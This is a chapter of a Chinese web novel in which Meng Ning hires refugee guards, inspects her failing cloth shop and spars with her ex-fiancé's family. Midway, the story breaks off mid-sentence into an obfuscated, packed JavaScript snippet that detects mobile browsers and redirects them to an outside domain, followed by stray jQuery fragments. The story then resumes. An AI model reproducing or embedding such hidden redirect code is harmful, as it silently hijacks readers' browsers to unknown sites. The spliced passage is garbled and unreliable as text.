3. 新得助力

作品:《等等我好像被鬼舔手了

    一觉醒来已是天光大亮,她鲜少起的这样晚,只是宿醉的后遗症还留在身上,后脑勺突突的痛。


    孟宁从床上坐起来,半倚着轻揉额角。


    “小姐醒了,饭已经做好了。”云舒听见里屋有动静,伸手推开门。


    “唔,很快就去。”


    孟宁简单洗漱了一番,穿着备下的衣服来到正屋。


    “今日打算带着云舒去府衙转转,等买了侍卫就去接手爹的产业,”孟宁放下筷子,对苏荷眨眨眼,“让云卷和景明在家里陪着您,我尽量早些回来。”


    苏荷面色温和,握住她的手轻拍:“好,我们再整理整理宅子。”


    霁城的府衙正门是两扇厚重的朱门,此刻正大敞着,两边穿着青黑色官服的衙役正守着大门,手握长刀,目视前方。


    “站住,你是何人?”其中一名衙役瞧见孟宁拾阶而上,抬起刀柄往前一挡。


    孟宁停住脚:“两位大哥,听说知府大人收留了许多逃难来的壮丁,不知可否——”


    衙役了然,抬手放她进去:“走吧,我带你去找知事大人。”


    “谢过两位大哥。”孟宁微微屈膝。


    进了府衙,方觉内里宽敞,来往的杂役步子迈的飞快。穿过前院,正堂屋檐下伏着几位奋笔疾书的书吏,听到有人走过来也未曾抬头,只顾下笔书写。


    孟宁步履不停,跟在带路的衙役身后进了正堂,停在一个中年男子面前,衙役抱拳行礼后转身:“这便是我们知事大人,你把需求告知与他便可。”


    知事听言放下手中的公文:“姑娘来此有何需求?”


    “禀大人,小女子来此斗胆求几位壮丁与我当看家护卫。”孟宁颔首。


    “哦?那倒不错,府衙近期颇为流民头疼,这儿养不了那么多人口,”知事听完来意,眸中露出一抹赞许:“若城里的富贵人家都如同姑娘一样便好了。”


    孟宁又跟在知事后面辗转去了后院,后院杂乱,许多流民正在帮府衙搬运文书,劈柴挑水。


    她放眼瞧去,都是些身量纤细的男子,不像是有功夫的样子。


    没等她开口,知事忽的叫来一个杂役,低声吩咐了什么。


    过了会,从厨房走出来一个高大壮硕系着围裙的男人,约莫二十多岁,看着沉默寡言,瞥见知事旁边的孟宁时礼貌的抱了个拳。


    “这吴全也是逃难来的,听说之前是给大户人家做侍卫的,好不容易赚够钱赎回身契,家里的人却都死在洪水中。”知事介绍道,“若不是府衙人手足够,我倒想留他当个衙役。”


    孟宁发现乌全抱手时身形稳立,双手有茧。比起外面这些人强壮许多,即便在厨房帮工也无怨言,是个踏实肯干的。


    刚想点头留下他,乌全却突然跪地直直磕了个头。


    “小姐心善,我愿以我换义弟。”乌全沉声。


    这下连知事也吃了一惊,连忙询问:“你义弟是何人?”


    乌全向身后扫视一圈,指着身后一个抱着柴禾正来回搬运的男子。


    等把人叫过来,一同跪在孟宁和知事面前。


    “小人名叫柳墨。”名叫柳墨的人不知道发生了什么,试探着,“是有何事需要我和乌全去做的吗?”


    孟宁习惯性摩挲下唇,带着些许探究:“我本想带走他做护卫,他却指名换你跟我一起走。”


    柳墨有些急,忙道:“姑娘好眼光,乌全本就会武,必定能帮上姑娘。”


    “你。”乌全似乎想说什么,被柳墨瞪了一眼直接打断。


    “小人谢过姑娘好心,只是我手无缚鸡之力,实在不符合您要求。”柳墨立马磕了个头,堵死了乌全的口。


    孟宁忽的瞧见这兄弟情深还没反应过来,云舒在身后拉了拉她袖子悄声说:“小姐,这乌全确实有用,再挑个其他强壮的便够了吧?”


    她侧过头报以一笑,示意她别担心。


    “乌全,你要他同你换究竟为什么?”孟宁直截了当开问。


    “我来霁城时发着烧,又摔伤了腿,多亏遇见了懂些医术和笔墨的柳墨,才能相伴活着到霁城。”


    见孟宁认真的倾听,他飞快的磕头:“柳墨是我的救命恩人,发过誓要尽我所能保护他。若有所依,我愿以我换他。”


    一个是懂武功的乌全,一个是会医术的柳墨。她倒是捡到了宝,孟宁不由心生喜悦,唇角微微勾起。


    “知事大人,这二人我都要了,再麻烦您寻一护卫,一共三个。”


    知事没抢过孟宁,不舍得那会医术的柳墨被她带走,努力思考着如何转圜余地。


    这柳墨但凡早些说自己会医术,自己就特许他入衙门做帮工了。真是可惜可惜,看他二人兄弟情深,若他强留一人也难应允。


    “这,哎,劳烦姑娘再次等待片刻。”


    以极低的价格交易到三个护卫的孟宁走路走的裙角飞扬,难得哼起了调,云舒听的嘴角直往上扬。


    自家小姐唱歌还挺自信的,就是没一句在调上。


    手里的现钱还是太少了,要买衣服等等新家新生活必不可少的的东西,得去产业那先取出来一部分利益。


    孟宁让云舒带着三个人先回去帮忙,自己在街上走走停停。


    今日阳光不烈,逛街的人也比昨日多得多。


    她一路走到自家的布坊,刚进门掌柜眼尖看到她,快跑几步迎过来。


    “哎哟小姐,你可算来了!”


    “李掌柜。”


    屋里一片狼藉,原本应摆放在外面的展示布匹除了几匹普通的料子,其他消失的无影无踪。孟宁上手摸了摸,那料子是最最普通且不赚钱的料子,摆在这只是个摆设。


    “其他料子呢?”孟宁皱起眉。


    “小姐,大老爷早在前些日子,就已经命我们低价贱卖布匹,小的不敢阻拦,眼睁睁看着咱们的库存一抢而空。”


    掌柜脸都快成苦瓜,手拍的框框响。


    “这两日从前对接的进货商也都统一了口径,都说跟其他家对接的比较多,到咱这就没了。”


    孟宁捏着布料的手一紧,一股火气从心底漫上来。


    “我这好大伯,真是会做一手好戏。”


    她放下手,正色道:“劳烦李掌柜取来账本。”


    李掌柜如同找到了主心骨,忙不迭的跑去里屋为她捧来账本。


    “小姐,自从二老爷不在后,咱们布行的生意就越来越差,我这干着急的脸上火泡都长了好几个,大老爷还时不时来添乱,哎!”他本就心急,面上果真明显有几个新冒尖的火疖子。


    李掌柜是个老人,很早就跟着父


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16128658|180176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    亲做生意,对她也很好。若不是被逼的没招,断不会一直等到今天她来还没解决好困境。


    云舒搬了个椅子供她坐下,又端来一杯茶。孟宁捻指开始一张张翻阅。


    霁城不像江南那般富饶,人口也少得多。在前朝时甚至是兵家交战之地,百姓们经过朝代更迭,在当今的严明治下才兴起商业,只是因着人口少的原因,多用来作南北商业交通转换地。


    天潢贵胄不会来此,金枝玉叶的世家贵族也鲜少来此。住在本地的多是商贾之家。因此父亲才想着带她沿水路向南方去看看,转移产业。


    这布坊原是走京城的路子特供一些新奇的料子,商贾为了彰显自己的与众不同很是喜欢在衣着上多下功夫。


    账本上显示近几个月来收入隐隐已有下滑之势,再加上今年的酷暑,来往商贩减少,即便没有孟长衡添乱,迟早也会入不敷出。


    她沉思着,葱白的手指有节奏的敲打在账本的纸张上。


    忽然一阵喧闹,布坊外面马车声滚滚,停在了门口。


    紧接着便是一个身着玄青锦袍的男子扶着一位妇人走进门,身后还跟了个女子,女子试图拉住男子衣角,眼里有些恳求:“夜郎,一定要进去吗?”


    “你怕什么,如今你们两房已恩断义绝,她还敢拿姐姐名义压你一头不成。”男子不耐烦的挥开,转身对妇人贴起笑,“母亲,这布坊已是强弩之末,哪有咱们家新布坊好呀。”


    那妇人吊起眉梢,冲女子斜愣一眼:“哼,我自然是给这布坊一个生路,老老实实把这地界卖给我们。”


    “还是母亲运筹帷幄。”男子不住点头。


    孟宁站起身子,冲掌柜使了个眼色。


    见账本被收起来,她才施施然走了出去。


    “原来是高公子和高老夫人,不知来此有何贵干啊?”她特意将“老”字咬的重一些,果不其然气的那妇人连忙摸上自己的眼角,连摸好几下确认皱纹没显露出来。


    “孟小姐,孝期没过便这么着急出来抛头露面,得亏我们家夜儿早早与你退婚。”


    “现如今呐,”高氏扬起下巴,故意将手扶上头发上惹眼的宝石,“我们高家你可高攀不起了。”


    孟宁看了眼高夜身旁低着头的妹妹孟冉,了然孟长衡这惯会算计的人定然把这桩婚事接了过去强塞给了她妹妹。


    她嘴角微勾,语气松快,却带着股子气死人不偿命的劲儿:“高老夫人说笑了。”


    “我妹妹既许作高家妇,便是您的人。您说我们孟家高攀不起,岂不是在说自己眼光差,接了门不般配的亲?”


    她轻轻掸了掸袖口,目光落回高氏脸上,笑意分明:“再说了,真要论高低,也得看往后日子过得如何。您现在急着说这话,倒像是怕往后……镇不住场面似的。”


    高氏的炫耀被堵了回去,气的直拍胸口。


    “夜儿,看到了吗,这样的女人亏你还想着帮她!”


    高夜一脸心痛状,指着孟宁愤愤道:“宁儿,我知道你不高兴我们退了你的亲。”


    孟宁挑眉,心里冷笑。


    “可你看看你,从小便跟着伯父出去抛头露面,哪像个女子样子。”


    真是鸡蛋碰石头,不自量力。孟宁懒得跟这种人应付,碍着孟冉的面,抬手打断了高夜的话。